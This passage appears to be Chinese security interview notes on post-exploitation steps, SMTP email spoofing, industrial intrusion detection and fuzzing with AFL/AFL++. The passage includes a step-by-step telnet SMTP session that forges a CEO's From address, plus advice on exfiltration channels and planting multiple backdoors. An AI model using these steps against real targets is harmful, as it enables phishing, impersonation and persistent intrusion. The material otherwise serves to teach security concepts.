  • 黄金票据(Golden Ticket):如果窃取到了域管理员的哈希,你可以伪造 Kerberos 票据(TGT),从而在整个域内伪装成任何用户
  • 端口扫描:利用这台主机作为跳板,对内网进行端口扫描,发现其他存活的主机和开放的服务
  • 漏洞利用:针对新发现的主机和服务,利用已知的漏洞(如 MS17-010 永恒之蓝)进行横向渗透

4. 数据窃取与持久化

渗透的最终目的通常是获取敏感数据

  • 文件搜索:在主机上搜索敏感文件,如配置文件、数据库备份、Office 文档等,寻找密码、密钥或商业机密
  • 建立通道:建立一个隐蔽的数据传输通道,将窃取的数据传送到你的服务器
  • 植入后门:在成功渗透多台机器后,植入多个、不同类型的后门,以确保即使一个后门被发现,你仍有其他通道可以进入

伪造电子邮件的原理

1. SMTP 协议的漏洞

SMTP 协议在设计之初,主要关注邮件的投递,而不是发件人的身份验证。它的工作方式非常简单:

  1. HELO/EHLO:发送方(邮件客户端或服务器)向接收方(邮件服务器)发出问候,告知自己的域名
  2. MAIL FROM:发送方指定邮件的“信封发件人”,也就是邮件的实际投递地址
  3. RCPT TO:发送方指定收件人地址
  4. DATA:发送方发送邮件内容,包括邮件的**“信头”**(FromToSubject 等)和邮件正文

漏洞所在:在 SMTP 协议中,MAIL FROM 和信头中的 From 地址是两个独立的字段,且 SMTP 服务器不会对这两者进行交叉验证

  • MAIL FROM:用于邮件投递,类似于信封上的回邮地址
  • From:用于显示给用户看,类似于信纸上的发件人

攻击者可以轻松地在 MAIL FROM 中使用自己的地址,而在 From 字段中填写任何伪造的地址,例如 ceo@yourcompany.com。接收方邮件服务器只会检查 MAIL FROM 的合法性,而收件人看到的则是被伪造的 From 地址

2. 伪造电子邮件的步骤

第一步:搭建邮件发送环境

攻击者可以使用自己的服务器或第三方服务来发送邮件。最简单的方式是使用一个 Linux 服务器,通过 TelnetNetcat 直接连接到目标邮件服务器的 25 端口,模拟 SMTP 协议的发送过程

第二步:执行伪造命令

攻击者在命令行中,按照 SMTP 协议的规范,输入以下命令:

  1. 连接邮件服务器

    1
    telnet mailserver.targetdomain.com 25
  2. 问候

    1
    HELO attacker.com
  3. 指定“信封发件人”

    1
    MAIL FROM:<me@attacker.com>

    这个地址通常是攻击者自己的,它只用于投递过程

  4. 指定收件人

    1
    RCPT TO:<victim@targetdomain.com>
  5. 发送邮件内容

    1
    DATA

    服务器会回复一个 354 码,表示可以开始输入邮件内容

  6. 伪造“信头”

    1
    2
    3
    From: "CEO" <ceo@yourcompany.com>
    To: <victim@targetdomain.com>
    Subject: Urgent Notice

    这里,From 字段被伪造成了 CEO 的地址,而收件人看到的就是这个伪造的地址

  7. 发送正文

    1
    2
    <邮件正文内容>
    .

    输入一个单独的 .,然后回车,表示邮件结束。服务器会回复 250 码,表示邮件已发送成功

27- 二进制 系列

工控场景的入侵检测与普通场景入侵检测的区别

1. 安全目标和优先级不同

  • 普通场景(IT): IT 环境的核心安全目标通常是机密性、完整性和可用性(CIA)。其中,机密性往往是首要考虑的。这意味着保护数据不被泄露是头等大事,其次是确保数据不被篡改,最后是保障服务的持续运行。如果发生安全事件,系统可以短暂下线进行修复
  • 工控场景(ICS/SCADA): 工控环境的核心安全目标是可用性、完整性和机密性(AIC)。其首要任务是保障物理过程的持续运行和安全。任何中断都可能导致严重的物理后果,例如设备损坏、生产中断,甚至是人员伤亡和环境灾难。因此,可用性是压倒一切的。其次是确保控制命令的完整性,防止恶意篡改导致设备误操作。机密性(如生产配方)虽然重要,但优先级通常最低

2. 网络协议和通信方式不同

  • 普通场景(IT): IT 网络主要使用标准、开放的协议,如 TCP/IP、HTTP、HTTPS、SMTP、SSH 等。这些协议拥有成熟的加密、身份验证和安全机制,入侵检测系统(IDS)可以利用已知的签名库、异常行为模式和深度包检测(DPI)来分析流量
  • 工控场景(ICS/SCADA): 工控网络使用大量非标准的、专有的或特定领域的协议,如 Modbus、DNP3、Ethernet/IP、PROFINET、OPC 等。这些协议最初设计时并未过多考虑安全性,通常是明文传输,缺乏加密和身份验证。因此,IT 领域的传统 IDS 无法理解和解析这些协议,更无法从中提取有用的信息。工控 IDS 必须具备对这些特定协议的深度解析能力

3. 系统架构和设备特性不同

  • 普通场景(IT): IT 系统通常由服务器、PC、路由器、交换机等标准化硬件组成,更新和打补丁相对方便。架构灵活,通常有明确的边界和分层(如DMZ区)
  • 工控场景(ICS/SCADA): 工控系统由可编程逻辑控制器(PLC)、人机界面(HMI)、远程终端单元(RTU)、监控工作站等专用硬件组成。这些设备通常运行在实时操作系统上,计算能力和存储空间有限,打补丁和更新极为困难,甚至是不可能的,因为任何中断都可能影响生产。此外,工控网络通常是扁平的,设备之间直接通信,边界模糊

4. 攻击类型和检测方法不同

  • 普通场景(IT): IT 攻击通常针对软件漏洞、弱密码、DDoS攻击、恶意软件、钓鱼邮件等。入侵检测系统主要依靠已知签名库(基于签名的检测)和行为模式分析(基于异常的检测)。例如,检测到特定的恶意代码特征码,或者发现异常的登录尝试次数
  • 工控场景(ICS/SCADA): 工控攻击不仅包括 IT 攻击手法(如针对监控工作站的恶意软件),更重要的是针对工控协议和物理过程的攻击。例如,恶意修改PLC的逻辑控制程序、篡改HMI上的数据显示、发送恶意的控制命令等。因此,工控IDS必须能够检测到:
    • 异常的命令和参数: 例如,向PLC发送一个不属于正常操作范围的控制命令
    • 异常的过程值: 例如,传感器读数突然出现与物理常识不符的剧烈波动
    • 异常的通信模式: 例如,某个监控站突然向所有RTU发送大量广播包
    • 非法固件更新: 检测到对PLC或RTU的非法固件上传
    • 基于物理过程的异常检测: 结合物理过程的知识,判断网络流量是否会导致不合理的物理状态。例如,同时关闭两个互锁的阀门

5. 部署方式和对系统的影响不同

  • 普通场景(IT): IT IDS可以作为内联设备(inline)部署,直接串联在网络中,对流量进行阻断。或者作为旁路设备(out-of-band)部署,仅仅进行流量镜像分析。即使内联部署出现问题,通常也只会导致网络暂时中断,影响可控
  • 工控场景(ICS/SCADA): 工控 IDS 绝大多数情况下必须以**旁路(out-of-band)**方式部署。任何在关键通信路径上串联的设备都可能引入延迟,甚至导致网络通信中断,从而引发生产事故。因此,工控IDS通常通过交换机的镜像端口(SPAN)来复制和分析流量,只进行检测,不参与控制

对比一下 QEMU 模式的 Fuzzing 和源码模式的 Fuzzing

1. 源码模式 Fuzzing

源码模式 Fuzzing(也称为插桩式 Fuzzing)是在编译时对目标程序进行修改,插入额外的代码(即“插桩”)。这些桩点会在程序运行时收集代码覆盖率等信息,并反馈给 Fuzzer,指导其生成更有效的输入

工作原理

  • 编译插桩:Fuzzer 使用专门的编译器前端(如 AFL-Clang 或 LLVM-sanitizer)来编译目标程序的源码
  • 插入探针:编译器会在每个基本块(Basic Block)的开头插入一个探针。当程序执行到一个新的基本块时,探针会向 Fuzzer 反馈这个信息
  • 反馈循环:Fuzzer 根据这些覆盖率信息,判断哪些输入探索了新的代码路径。它会保留这些有价值的输入,并对其进行变异,以期能找到更深层次的代码逻辑

优点

  • 高效:插桩非常轻量级,几乎不会引入额外的性能开销。Fuzzer 能够以极高的速度运行和测试样本,每秒可达数千甚至数万次
  • 精确的代码覆盖率:由于插桩在编译时完成,Fuzzer 能够获得非常精确的、基本块级别的代码覆盖率,这使得它能够更有效地探索代码路径
  • 直接定位崩溃点:由于 Fuzzer 能够知道输入触发了哪段代码,一旦发生崩溃,它能迅速定位到崩溃发生的基本块

缺点

  • 需要源码:这是最大的局限性。如果目标程序是闭源的,你就无法使用这种方法
  • 编译复杂:对于复杂的项目,编译过程可能会很复杂,需要处理各种依赖和编译选项

2. QEMU 模式 Fuzzing

QEMU 模式 Fuzzing(也称为黑盒或二进制 Fuzzing)是在二进制级别进行插桩和监控。它使用 QEMU 模拟器来运行目标程序,并通过修改 QEMU 的代码来收集代码覆盖率信息。

工作原理

  • 二进制插桩:Fuzzer 启动一个修改过的 QEMU 用户模式模拟器
  • 动态翻译:QEMU 在运行目标程序时,会动态地将目标程序的机器码翻译成宿主机的机器码。在翻译过程中,Fuzzer 的插桩逻辑会被嵌入到生成的代码中
  • 收集覆盖率:当翻译后的代码执行时,插桩逻辑会收集代码覆盖率信息,并反馈给 Fuzzer。

优点

  • 无需源码:这是 QEMU 模式最大的优势。它能够 Fuzz 任何闭源的、可执行的二进制文件,这在分析恶意软件或商业软件时至关重要
  • 全系统覆盖:除了用户态程序,QEMU 还可以模拟整个系统。这意味着你可以用它来 Fuzz 驱动程序或内核

缺点

  • 性能开销大:由于 QEMU 是一个模拟器,它会引入大量的性能开销。Fuzzing 速度比源码模式慢得多,通常每秒只能运行几十到几百次
  • 覆盖率信息粗糙:QEMU 模式通常只能提供基本块级别的覆盖率,但可能无法像源码模式那样精确地追踪到每一条指令的执行
  • 不稳定性:由于 QEMU 本身的复杂性,Fuzzing 过程中可能会出现一些不稳定的情况
特性 源码模式 Fuzzing QEMU 模式 Fuzzing
是否需要源码
性能 极高(每秒数千次) 较低(每秒数十次)
代码覆盖率 非常精确(基本块级别) 较精确(基本块级别)
适用场景 开源项目、内部代码审计 闭源软件、恶意软件分析、驱动程序 Fuzzing
代表工具 AFL++、LibFuzzer AFL-QEMU

说说 QEMU 模式的动态插桩怎么实现的,有什么优缺点

QEMU 模式动态插桩的实现原理

QEMU 本身是一个处理器模拟器,它通过**动态二进制翻译(Dynamic Binary Translation, DBT)**技术来执行不同架构的指令。这个过程为动态插桩提供了完美的切入点

简单来说,当 QEMU 运行一个目标程序时,它不是逐条解释执行指令,而是会:

  1. 读取指令块:QEMU 一次性读取一小段(通常是一个基本块)目标程序指令
  2. 翻译并缓存:它将这些目标指令翻译成宿主机的机器码
  3. 插入探针(Instrumentation):在翻译过程中,QEMU 会在每个基本块的入口点注入额外的指令。这些额外的指令就是 Fuzzer 用来收集信息(如代码覆盖率)的探针
  4. 执行翻译后的代码:QEMU 随后执行这段翻译并插桩后的代码

整个过程就像一个即时编译器(JIT)。当一个基本块被执行时,QEMU 会检查其是否已被翻译。如果未翻译,就进行翻译、插桩和缓存;如果已翻译,就直接执行缓存中的代码

AFL-QEMU 就是利用这种机制。它修改了 QEMU 的源码,在翻译层增加了额外的逻辑。每当 QEMU 翻译一个基本块时,AFL-QEMU 就会插入代码,将该基本块的 ID 记录在一个共享内存区域中,从而让 Fuzzer 能够实时获取代码覆盖率信息

优点

  • 无需源码:这是最大的优势。QEMU 模式在二进制级别工作,可以对任何闭源的、可执行的程序进行 Fuzzing,这对于分析商业软件、恶意软件以及驱动程序至关重要
  • 跨平台:QEMU 能够模拟不同的 CPU 架构(如 ARM、MIPS),这意味着你可以在一个 x86_64 的 Linux 机器上 Fuzz 一个 ARM 架构的程序
  • 全系统 Fuzzing:QEMU 可以模拟整个操作系统,包括内核。这使得它可以用于 Fuzzing 驱动程序和内核漏洞

缺点

  • 性能开销大:动态二进制翻译本身就会带来显著的性能开销。Fuzzing 速度比源码插桩模式慢得多,通常每秒只能运行几十到几百次,而源码模式可以达到数万次
  • 覆盖率信息粗糙:QEMU 通常只能提供基本块级别的覆盖率,但无法像源码插桩那样精确地追踪到每一条指令的执行
  • 实现复杂且不稳定:QEMU 模拟器本身就非常复杂,在其中进行插桩会引入更多不确定性,有时会导致模拟过程不稳定或产生非预期的行为
  • 不适合处理 I/O 密集型程序:对于那些需要频繁进行磁盘或网络 I/O 的程序,QEMU 的模拟速度会变得更慢,Fuzzing 效率会大大降低

fuzz 普通程序和数据库有哪些不同点

1. 输入和协议的复杂性

  • 普通程序:通常处理简单格式的输入,如文件、命令行参数或简单的网络数据包。这些输入的格式相对单一,fuzzer 很容易理解和变异。例如,对一个图片解析器进行fuzzing,输入就是图片文件
  • 数据库:数据库的输入是复杂的、有状态的网络协议和查询语言。fuzzer 需要理解和生成符合特定数据库协议(如 MySQL 的二进制协议、PostgreSQL 的文本协议)的数据包。更重要的是,数据库的**查询语言(SQL)**本身就极为复杂,包含多种数据类型、函数、联结操作和语法结构。fuzzer 不仅要生成畸形的协议数据,还要生成语法正确但语义畸形的 SQL 查询语句,比如超长的字符串、负数、特殊字符等

2. 状态管理和序列依赖

  • 普通程序:大多数普通程序是无状态的。每次运行fuzzer,程序都从一个干净的状态开始,处理一个单独的输入。这使得fuzzer很容易追踪和重现漏洞
  • 数据库:数据库是有状态的。一个查询的执行结果可能依赖于之前的查询。例如,你必须先创建一张表,然后才能向其中插入数据,最后才能查询。这意味着fuzzer需要生成一系列有逻辑关系的查询序列,而不是单个独立的输入。如果一个漏洞需要多次操作才能触发,fuzzer 必须能够管理和生成这个操作序列

3. 性能和效率

  • 普通程序:普通程序的fuzzing通常很快。一个文件解析器在毫秒级就能处理一个输入。这使得覆盖率引导的fuzzer(如 AFL)能够每秒测试数千甚至数万次,从而快速找到漏洞
  • 数据库:数据库的fuzzing通常很慢。每次建立连接、发送查询、接收响应都需要时间。此外,一个查询可能需要几毫秒甚至几秒来执行。这大大降低了fuzzer的测试速度,因此需要更智能的fuzzing策略

4. 漏洞类型和检测方法

  • 普通程序:fuzzing通常用于寻找内存安全漏洞,如缓冲区溢出、空指针解引用等。当程序崩溃时,fuzzer会立即捕获到异常
  • 数据库:数据库的漏洞类型更为多样,不仅包括内存安全问题,还包括:
    • 逻辑漏洞:错误的查询结果、数据损坏等。这些漏洞不会导致程序崩溃,fuzzer需要有专门的逻辑来检测
    • 权限绕过:在低权限下执行高权限操作
    • SQL 注入:这是一种特殊的逻辑漏洞,fuzzing可以用于寻找新的注入点

由于很多数据库漏洞不会导致程序崩溃,fuzzer需要额外的断言(assertions)或 Oracle 来检测。例如,fuzzer可以执行一个查询,然后用一个已知正确的查询来验证结果是否一致。如果不一致,就可能存在逻辑漏洞

5. 架构和环境的复杂性

  • 普通程序:通常在一个单一进程中运行,fuzzer可以直接附加或作为子进程运行
  • 数据库:数据库是复杂的系统,通常是多进程或多线程的。这使得传统的fuzzer很难精确地追踪代码覆盖率。例如,一个主进程可能接受连接,然后派生出多个子进程来处理查询。fuzzer需要能够跟踪和监控这些子进程
特性 Fuzzing 普通程序 Fuzzing 数据库
输入 单一,通常是文件或简单网络数据 复杂,包含协议和查询语言
状态 无状态,每个输入独立 有状态,需要管理查询序列
速度 非常快,每秒数千次以上 较慢,受网络和查询执行速度影响
漏洞类型 主要是内存安全漏洞(崩溃) 内存安全、逻辑漏洞、权限问题等
检测方法 捕获崩溃 捕获崩溃,并需要断言或Oracle来检测非崩溃漏洞
挑战 探索代码路径和绕过输入验证 管理状态、生成复杂输入、处理低速和多进程环境

说说 AFL++ 和 AFL 有哪些不同

AFL (American Fuzzy Lop)

首先,我们回顾一下 AFL。AFL 是由 Google 的 Michał Zalewski 开发的一款覆盖率引导的模糊测试工具,它开创了一个时代

  • 核心思想: AFL 将模糊测试带入了一个新的高度,它不只是随机地变异输入,而是会监控程序的代码覆盖率。如果一个输入能让程序执行到之前未执行过的代码路径,AFL 就会认为这个输入“有价值”,并将其保存下来,然后基于这个输入进行更多的变异
  • 工作流程:
    1. 从一个种子文件(或一组种子文件)开始
    2. 对种子文件进行一系列的变异操作(如位翻转、字节插入、删除)
    3. 运行变异后的输入,同时监控代码覆盖率
    4. 如果发现新的代码路径,则将该输入加入到种子队列中,作为新的变异基础
    5. 如果程序崩溃,则保存导致崩溃的输入,作为漏洞报告

AFL 的出现,使得模糊测试的效率和深度得到了革命性的提升

AFL++ (AFLplusplus)

AFL++ 是在 AFL 的基础上发展起来的一个项目。它由一群顶尖的模糊测试研究人员和开发者维护,旨在整合所有 AFL 的优秀改进和新技术

简而言之,AFL++ 是 AFL 的超集。它保留了 AFL 的核心思想和工作流程,但加入了大量的优化和新功能,使其在效率和能力上都远超原版 AFL

特性 AFL AFL++
模糊测试算法 基础的位翻转、字节插入、随机数等。 更丰富、更智能的变异算法。包括 CmpLog、Redqueen 等技术,能够智能地发现和变异比较指令的魔术字节。
覆盖率指导 基本的代码覆盖率指导。 更精细的覆盖率指导。通过 LTO、LLVM 和 GCC 等编译器插桩技术,可以获得更精确的覆盖率信息,甚至可以识别代码中的分支类型。
字典支持 有简单的字典支持。 更强大的字典支持。可以自动从目标程序中提取字典(例如文件头、关键词等),并通过字典来加速对复杂文件格式的理解。
代码插桩 基于 GCC 和 LLVM 的基本插桩。 多种插桩模式。除了编译器插桩,还支持 QEMU 模式的动态二进制插桩,可以对闭源程序进行模糊测试。
性能 优秀 卓越。通过代码优化和更智能的算法,其测试速度通常比原版 AFL 更快。
兼容性 仅支持 Linux 和部分 Unix-like 系统。 更好的兼容性。支持更多编译器、更多操作系统,并集成了更多的辅助工具。

怎么给 AFL 做适配去 fuzz 数据库

适配器的核心任务

这个适配器是一个程序,它将从 AFL 获取的文件输入转换成数据库能够理解的网络协议请求,然后发送给数据库

它的主要工作流程是:

  1. 从标准输入(stdin)或文件中读取 AFL 提供的模糊数据
  2. 将这些数据解析成数据库协议的数据包或 SQL 查询语句
  3. 通过网络连接发送给数据库
  4. 监控数据库的响应,寻找崩溃或异常

两种常见的适配方案

这里有两种常用的方案,它们各有优缺点。

方案一:基于文件和本地连接的适配

这是最简单的方案,适用于那些支持从文件加载数据的数据库

实现步骤:

  1. 编写适配器(harness.c
    • 适配器会创建一个本地的数据库连接
    • 它从 AFL 的输入文件中读取数据,这些数据通常是SQL 语句数据库协议数据
    • 适配器将读取到的内容作为 SQL 查询或协议数据发送给数据库
  2. AFL 的运行方式
    • 你需要用 AFL 的编译器(afl-clang-fast)编译这个适配器
    • AFL 启动后,它会变异种子文件中的 SQL 语句或协议数据
    • AFL 会不断地运行你的适配器,将变异后的数据通过 stdin 或文件喂给它
    • 适配器在每次运行时,都会建立一个新的数据库连接,发送数据,然后退出

优点:

  • 相对简单:易于实现,特别是当数据库有命令行客户端时
  • 高效率:避免了网络延迟,测试速度相对较快

缺点:

  • 不完整:只能测试数据库的查询解析部分,无法测试完整的网络协议栈
  • 状态问题:难以处理需要管理状态的查询序列。

方案二:基于网络和协议模拟的适配

这是更复杂但更全面的方案,它能够真正地对数据库的网络协议层进行模糊测试

实现步骤:

  1. 使用 QEMU 模式
    • 直接使用 afl-fuzz -Q 模式来对数据库服务器程序进行模糊测试
    • 编写一个自定义的网络协议客户端作为适配器,它会向服务器发送数据,而不是从文件读取
  2. 创建“伪文件”
    • 你需要一个外部程序(比如一个 Python 脚本)来生成包含数据库协议请求的“伪文件”
    • 这个脚本会根据 AFL 提供的原始模糊数据,将其封装成完整的数据库协议数据包
    • AFL 会模糊这个“伪文件”
  3. 连接和发送
    • 你的适配器会监听一个端口,当 AFL 的 QEMU 模式运行数据库服务器时,你的适配器会与其建立连接,并将模糊数据发送过去
    • 关键在于同步:你需要确保 AFL 的输入文件和你的适配器发送的数据包是一致的

优点:

  • 全面:能够测试数据库的整个网络协议栈,包括身份验证、连接管理等
  • 真实:更接近实际的攻击场景

缺点:

  • 性能开销大:QEMU 模式本身就很慢,再加上网络延迟,模糊测试速度会非常低
  • 复杂:需要深入理解数据库的协议,并且需要处理网络连接、多进程/多线程等问题

介绍一下 fuzz 的流程,从选取目标开始

1. 选取目标

Fuzzing 不是盲目的,你需要选择一个合适的、有价值的目标。好的目标通常具有以下特点:

  • 处理复杂或不受信任的输入:比如文件解析器、网络协议栈、命令行参数处理程序。这些程序是攻击者的首要目标,因为它们直接暴露在外部输入之下
  • 高权限运行:如果一个程序以 rootSYSTEM 权限运行,它将是更具吸引力的攻击目标
  • 处理多种数据格式:例如,一个视频解码器需要处理各种容器格式(MP4, AVI)、编码格式(H.264, VP9)等
  • 有公开源码或已知的开源版本:如果你有源码,可以使用更高效的源码插桩(Source-based Instrumentation)模式,如 AFL++ 或 LibFuzzer。如果没有,则需要使用二进制插桩(Binary Instrumentation)模式,如 QEMU

2. 准备工作

在开始模糊测试之前,需要做好充分的准备,这直接影响到 Fuzzing 的效率和成功率

  • 获取种子文件(Seed Corpus):种子文件是模糊测试的起点。你需要收集一批高质量的、能代表正常输入的样本文件。这些样本应该尽可能地覆盖程序的不同功能。高质量的种子文件能显著提高 Fuzzing 效率
  • 编译目标程序:如果是源码模式,你需要使用 Fuzzer 专用的编译器(例如 afl-clang-fast)来编译目标程序。这会在程序中植入探针,用于收集代码覆盖率信息
  • 创建 Fuzzing 脚本:你需要编写一个脚本,作为 Fuzzer 和目标程序之间的适配器(Harness)。这个脚本负责将 Fuzzer 生成的输入数据传递给目标程序。对于文件输入,适配器通常很简单,可能就是 read()fopen() 函数。对于更复杂的网络协议,适配器需要解析并发送数据包
  • 配置 Fuzzer:根据你的目标和环境,你需要选择并配置一个合适的 Fuzzer(例如 AFL++)。配置参数包括:
    • Fuzzing 模式(源码、QEMU、网络等)
    • Fuzzing 进程数量
    • 字典文件(如果目标程序有特定的关键字)

3. Fuzzing 运行

这个阶段是 Fuzzing 的核心,Fuzzer 将持续不断地生成、变异和测试输入

  • 启动 Fuzzer:运行 Fuzzer 进程,将种子文件作为输入,并指定输出目录
  • 监控 Fuzzing 状态:在 Fuzzing 过程中,需要持续监控其状态。好的 Fuzzer 都会提供一个状态界面,显示:
    • 测试速度(每秒执行次数)
    • 代码覆盖率
    • 发现的崩溃数量和异常(timeout)数量
    • 队列中已有的有价值的输入数量
  • 分析结果:当 Fuzzer 发现一个崩溃或异常时,它会将导致该问题的输入文件保存在一个特定的目录中。你需要定期检查这个目录,并对新发现的崩溃进行分类和分析

4. 漏洞分析与验证

这个阶段是人工分析的过程,目的是将 Fuzzer 发现的“崩溃”转化为可利用的“漏洞”

  • 漏洞重现:首先,你需要用调试器(如 GDB, WinDbg)或逆向工具(如 IDA Pro)来加载导致崩溃的输入文件,并重现崩溃。这能帮助你确定崩溃的类型和位置
  • 漏洞分类:将崩溃分为不同的类型,例如栈溢出、堆溢出、空指针解引用等。这有助于你理解漏洞的性质
  • 可利用性分析:并非所有的崩溃都是可利用的漏洞。你需要分析崩溃的原因和上下文,判断攻击者是否能通过它来劫持程序流或执行任意代码
  • 漏洞报告:一旦确认漏洞是可利用的,你需要编写一份详细的漏洞报告,包括:
    • 漏洞的描述和类型
    • 导致漏洞的输入文件
    • 崩溃发生时的堆栈信息
    • 漏洞的严重性评估

5. 修复与回归测试

这是整个流程的最后一步,也是最重要的

  • 漏洞修复:将漏洞报告交给开发者,由他们来修复代码中的缺陷
  • 回归测试:在修复完成后,你需要将导致漏洞的输入文件添加到你的测试套件中,确保未来的代码修改不会再次引入这个漏洞。这个过程也被称为回归测试

讲一下 AFL 的插桩原理

插桩的本质:反馈导向的模糊测试

AFL 的插桩(instrumentation)就是一套用于收集代码覆盖率的探针。通过这些探针,AFL 可以知道某个输入执行了哪些代码路径

它的工作流程是这样的:

  1. 编译时插桩:用 AFL 提供的特殊编译器(afl-clang-fastafl-gcc)来编译目标程序
  2. 运行时反馈:当程序执行时,插桩代码会向 AFL 反馈代码执行路径信息
  3. 智能变异:AFL 根据这些反馈,判断哪些输入“有价值”(即探索了新的代码路径),然后对这些有价值的输入进行更多的变异

这个反馈循环是 AFL 高效的关键。它使得 AFL 能够自动绕过复杂的输入校验,深入到程序更深层次的逻辑中,从而找到隐藏的漏洞

插桩的原理实现

AFL 的插桩非常轻量级,它采用了一种基于**基本块(Basic Block)**的简单而巧妙的方案。

1. 什么是基本块?

在程序中,一个基本块是一段连续的代码,它只有一个入口点(第一条指令)和一个出口点(最后一条指令),且中间没有任何分支跳转

你可以把基本块看作是代码中的最小“执行单元”

2. AFL 的插桩步骤

AFL 在编译时,会在每个基本块的入口插入一段代码。这段代码会做两件事:

  • 获取当前基本块的 ID:AFL 在编译时会给每个基本块分配一个唯一的随机 ID
  • 记录基本块的 ID:AFL 维护一个共享内存区域,通常是一个大小为 64KB 的位图(bitmap)

当程序执行到一个新的基本块时,插入的代码会执行以下操作:

  1. 获取当前基本块的 ID(假设是 current_id
  2. 获取上一个执行的基本块的 ID(假设是 prev_id)。AFL 用一个全局变量来保存这个 prev_id
  3. 计算一个哈希值:index = current_id XOR prev_id
  4. 将这个 index 映射到位图的某个位置,并将该位置的值加 1
  5. 更新 prev_id,使其等于 current_id

怎么选择 fuzz 测试点

1. 优先选择处理复杂格式输入的代码

处理复杂、非结构化输入的代码是 Fuzzing 的首选目标。这类代码通常包含复杂的解析逻辑和状态机,容易在处理畸形数据时出错

  • 文件解析器:这是最典型的 Fuzzing 目标。例如,图片格式(JPEG, PNG)、视频格式(MP4, AVI)、文档格式(PDF, DOCX)的解析库或应用程序。Fuzzer 可以轻松生成无数个格式畸形的样本,测试解析器对异常情况的处理能力
  • 网络协议栈:处理网络协议的代码是高价值目标。例如,Web 服务器、FTP 守护进程、或者物联网设备的通信协议。Fuzzer 可以向这些服务发送不符合协议规范的数据包,测试其鲁棒性
  • 编译器和解释器:对编程语言的编译器或解释器进行 Fuzzing,可以发现它们在处理语法错误或逻辑异常的代码时的漏洞。例如,对 JavaScript 引擎的 Fuzzing 已经发现了无数高价值的漏洞

2. 考虑执行权限和攻击面

选择 Fuzzing 点时,要将漏洞的潜在危害考虑在内

  • 高权限代码:如果一个程序以 rootSYSTEM 或其他高权限运行,那么它的漏洞危害会更大。对这类程序的 Fuzzing 应该作为首要任务。例如,内核驱动、特权服务、或者安全软件
  • 暴露在外部的接口:攻击者可以直接访问的接口是 Fuzzing 的高优先级目标。例如,通过网络监听端口、接受外部文件的服务,或者处理命令行参数的程序。这些接口是攻击者的第一道入口

3. 基于代码复杂性分析

如果可以访问源码,可以更精确地选择 Fuzzing 点

  • 复杂的控制流:在代码中寻找包含大量 if-elseswitch 语句、嵌套循环或复杂状态机的函数。这些地方的代码路径多且复杂,很容易出现逻辑错误和漏洞
  • 涉及内存操作的代码:寻找使用 mallocfreememcpyread 等内存相关函数的代码。这些函数是缓冲区溢出、Use-After-Free 等内存安全漏洞的常见源头
  • 缺乏边界检查的代码:在代码中寻找缺乏对输入数据大小进行严格检查的地方。这通常是缓冲区溢出漏洞的温床

4. 结合自动化工具进行决策

为了避免盲目选择,可以使用自动化工具来辅助决策

  • 代码覆盖率工具:使用像 gcovllvm-profdata 这样的工具,运行已知的测试用例,分析哪些代码区域没有被覆盖到。这些未覆盖的区域往往是 Fuzzing 的好目标
  • 静态分析工具:使用静态分析工具(如 CoverityClang Static Analyzer)来扫描代码,寻找潜在的漏洞模式,比如整数溢出或空指针解引用。然后,将这些潜在的漏洞位置作为 Fuzzing 的重点

哪些漏洞可以用 fuzz 检测到

内存安全漏洞

这是 Fuzzing 最擅长的领域,也是 Fuzzing 历史上发现最多高价值漏洞的类型。这些漏洞通常会导致程序崩溃、数据损坏或信息泄露

  • 缓冲区溢出(Buffer Overflows):当程序向一个固定大小的缓冲区写入的数据超出了其容量时,就会发生溢出。Fuzzer 可以通过生成超长字符串、大文件或超大数组等输入来触发这类漏洞
  • 整数溢出(Integer Overflows):当一个整数运算的结果超出其数据类型的最大值时,会发生溢出。Fuzzer 可以提供接近最大值或负数的输入,试图触发不正确的内存分配或边界检查绕过
  • 空指针解引用(Null Pointer Dereference):当程序试图访问一个空指针指向的内存时,会发生崩溃。Fuzzer 可以提供导致函数返回空指针的输入,例如不完整的协议数据包或畸形的文件头
  • UAF(Use-After-Free):当程序在释放一块内存后,仍然使用指向这块内存的指针时,就会发生 UAF。Fuzzer 可以通过提供复杂的、有状态的输入序列来触发这种时序性漏洞
  • 双重释放(Double Free):当程序两次释放同一块内存时,会引发严重后果。Fuzzer 可以提供导致程序进入异常逻辑的输入,从而触发重复的内存释放操作
  • 格式化字符串漏洞(Format String Bugs):当程序使用 printf 等函数,且格式化字符串可由用户控制时,攻击者可以利用它来读写内存。Fuzzer 可以尝试在输入中插入 %s, %n, %x 等格式符来检测这种漏洞

逻辑漏洞和异常情况

除了内存安全问题,Fuzzing 也可以用来发现更复杂的逻辑漏洞,尽管这通常需要更智能的 Fuzzer 或额外的检测机制

  • 逻辑错误(Logical Bugs):Fuzzer 可以通过提供畸形但不会导致崩溃的输入,来发现程序中不正确的逻辑。例如,一个输入可能导致数据库返回错误的结果,或者一个视频播放器无法正确解析视频帧
  • 拒绝服务(Denial of Service, DoS):当一个输入导致程序进入无限循环或消耗大量资源时,就会引发 DoS 攻击。Fuzzer 可以通过监控程序执行时间或资源消耗来检测这类问题
  • 竞态条件(Race Conditions):在多线程或多进程程序中,Fuzzer 可以通过随机化输入发送时间或使用多个线程来触发竞态条件,从而发现漏洞
  • 权限绕过(Privilege Escalation):Fuzzing 可以用来寻找程序在处理特殊输入时,是否会错误地提升权限
  • 信息泄露(Information Leakage):Fuzzer 可以通过分析程序的输出或返回值,来检测程序是否泄露了不应被公开的敏感信息,比如内存地址或调试信息

哪些漏洞可以用 fuzz 检测到

内存安全漏洞

这是 Fuzzing 最擅长的领域,也是 Fuzzing 历史上发现最多高价值漏洞的类型。这些漏洞通常会导致程序崩溃、数据损坏或信息泄露

  • 缓冲区溢出(Buffer Overflows):当程序向一个固定大小的缓冲区写入的数据超出了其容量时,就会发生溢出。Fuzzer 可以通过生成超长字符串、大文件或超大数组等输入来触发这类漏洞
  • 整数溢出(Integer Overflows):当一个整数运算的结果超出其数据类型的最大值时,会发生溢出。Fuzzer 可以提供接近最大值或负数的输入,试图触发不正确的内存分配或边界检查绕过
  • 空指针解引用(Null Pointer Dereference):当程序试图访问一个空指针指向的内存时,会发生崩溃。Fuzzer 可以提供导致函数返回空指针的输入,例如不完整的协议数据包或畸形的文件头
  • UAF(Use-After-Free):当程序在释放一块内存后,仍然使用指向这块内存的指针时,就会发生 UAF。Fuzzer 可以通过提供复杂的、有状态的输入序列来触发这种时序性漏洞
  • 双重释放(Double Free):当程序两次释放同一块内存时,会引发严重后果。Fuzzer 可以提供导致程序进入异常逻辑的输入,从而触发重复的内存释放操作
